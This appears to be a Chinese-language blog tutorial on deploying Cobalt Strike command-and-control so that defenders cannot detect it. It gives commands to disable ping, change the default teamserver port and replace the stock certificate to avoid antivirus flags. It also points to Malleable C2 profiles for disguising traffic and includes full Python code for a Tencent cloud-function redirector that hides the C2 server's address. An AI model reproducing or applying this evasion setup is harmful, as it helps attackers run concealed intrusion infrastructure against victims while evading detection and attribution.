这次想写一下cs的上线和流量隐匿,因为自己已经操作过三次了,但是每一次都要查资料,查一些东西,因此就想着记录一下。
首先我们需要一个cs和一台云主机
服务器禁ping
首先说一条用处不大,但是有比没有好的服务器禁ping
echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all
特征修改
在上线前我们需要改一下cs的默认端口,因为50050端口也是一种特征,存在被标记的可能。这个端口就随便改了,尽量改到高端口,比如65535这种。它在teamserver文件里面
然后就需要去修改一下证书
默认我们不配置CS证书时,使用的是CS自带的证书,先不说为什么要修改,先看看默认证书内容(之前修改过了就找不到原证书了,反正就是特征很明显)
使用keytool.exe【电脑如果有java环境,是自带的】打开,
keytool -list -v -keystore cobaltstrike.store
需要输入口令,默认情况是123456,如果不是123456,则可以尝试打开teamserver文件,查看
可以尝试一下,不知道,密码也没关系,后面我们需要自己生成。
原始的证书肯定会被查杀。
因此就需要我们自己生成证书了。
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias SuanSuan -dname "CN=xxx, OU=xxx, O=xxx, L=xxx, S=OO, C=OO"
解释一下什么各参数的意思:
CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)
其中cobaltstrike.store为新生成的keystore文件,-alias 指定别名,-storepass pass 和 -keypass pass 指定密钥,-keyalg RSA 指定主体公共密钥算法,-dname 指定所有者信
根据上面的信息,我们可以自己生成一个特有的证书,防止之前的证书特征,被查杀。
如果在cs的根目录创建的话需要先把原证书删了,否则会被追加写入
生成好之后可以查看我们的证书
已经看不到cs相关信息了
流量隐匿
CS可以通过自定义配置文件实现流量的伪装
在github上面已经有了很多优秀的项目
- https://github.com/rsmudge/Malleable-C2-Profiles
- https://github.com/threatexpress/malleable-c2
上面的都是写好了的,如果需要自己重写一个或者想修改一下的话推荐看看官方文档
- https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm#_Toc65482835
这里就不做过多的讲解,在自己编写配置文件的时候需要注意profile 文件将参数括在双引号中,而不是单引号中。例如:
正确: set useragent "SOME AGENT";
错误: set useragent 'SOME AGENT';
在编译完成后可以用./c2lint 检测
这一篇文章也可以看看
- https://xz.aliyun.com/t/2796
主机地址隐匿
对于主机地址隐匿来说,最终都是通过反向代理的思想来实现,无论是nginx反代还是云函数,或者是cdn代理,原理都是这样
云函数代理
这里我用腾讯云函数来做示例
首先你需要一个腾讯云账号,在腾讯云中找到云函数的控制台
点击新建
然后选择从头开始
直接下滑点完成,创建成功后点跳转
点击函数代码
在编译器中粘贴以下代码
# -*- coding: utf8 -*-
import json, requests, base64
def main_handler(event, context):
C2 = 'https://ip:port' # 这里可以使用 HTTP、HTTPS~下角标~
path = event['path']
headers = event['headers']
print(event)
if event['httpMethod'] == 'GET':
resp = requests.get(C2 + path, headers=headers, verify=False)
else:
resp = requests.post(C2 + path, data=event['body'], headers=headers, verify=False)
print(resp.headers)
print(resp.content)
response = {"isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]}
return response
如果存在包不存在可以在终端里面用pip3 install 添加
在完成函数部署后点击触发管理
然后选择api网关触发
点击提交后在进入触发器管理修改路径为根目录\
最后访问路径看界面就可以看到部署成功了
然后在cs中创建监听器的时候直接用触发器的域名即可
看见上线的主机ip不唯一代表成功
cdn代理
cdn代理也是一种反代思想,需要的是一个不需要备份的域名,可以在freedom申请一个,通常tk后缀都是免费的,同时网上现存的方法比较多,本篇就不再赘述